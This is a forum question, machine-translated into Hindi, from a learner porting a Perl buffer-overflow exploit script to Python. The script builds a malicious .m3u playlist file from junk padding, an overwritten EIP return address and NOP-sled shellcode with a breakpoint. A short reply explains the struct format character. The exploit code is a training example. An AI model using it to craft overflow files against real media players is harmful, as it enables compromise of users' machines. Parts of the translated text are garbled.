मैं प्रशिक्षण पाठ्यक्रम के लिए तैयार होने के लिए हाल ही में कुछ शोषण विकास पर काम कर रहा हूं, और मैंने ट्यूटोरियल के साथ एक समस्या में भाग लिया है। मैं पाइथन का उपयोग कर उन सभी ट्यूटोरियल्स के साथ-साथ अनुसरण कर रहा हूं, जो प्राथमिकता से बाहर किए गए ट्यूटोरियल्स की भाषा के विपरीत हैं। मैं सबकुछ क्रॉसकोड करने की कोशिश कर रहा हूं, लेकिन मैं यह नहीं समझ सकता कि पर्ल के पैक() फ़ंक्शन को क्रॉसोड कैसे करें।पर्ल पैक ('वी') फ़ंक्शन?
टी एल; डॉ: मैं अजगर को यह अनुवाद करने के लिए कोशिश कर रहा हूँ:
my $file= "test1.m3u";
my $junk= "A" x 26094;
my $eip = pack('V',0x000ff730);
my $shellcode = "\x90" x 25;
$shellcode = $shellcode."\xcc";
$shellcode = $shellcode."\x90" x 25;
open($FILE,">$file");
print $FILE $junk.$eip.$shellcode;
close($FILE)print "m3u File Created successfully\n";
मैं पायथन के struct.pack() फ़ंक्शन पाया है, लेकिन जब मैं
Fuzzed.write(struct.pack('V', 0x773D10A4))
उपयोग करते हैं, यह कार्यक्रम बंद कर देता है और काम नहीं करता है। मैं क्या गलत कर रहा हूं?
यह अपने पूरे स्रोत कोड है
import struct
Fuzzed = open('C:\Documents and Settings\Owner\Desktop\Fuzzed.m3u','w')
Fuzzed.write('A' * 26072)
string = str(struct.pack('V',0x773D10A4))
Fuzzed.write(string)
Fuzzed.write('C' * 3000)
आपको प्रारूप चरित्र के रूप में 'V' कहां मिला? किस प्रकार का प्रतिनिधित्व करना चाहिए? 'हस्ताक्षरित int' (4 बाइट्स) के लिए 'I' का उपयोग करें। –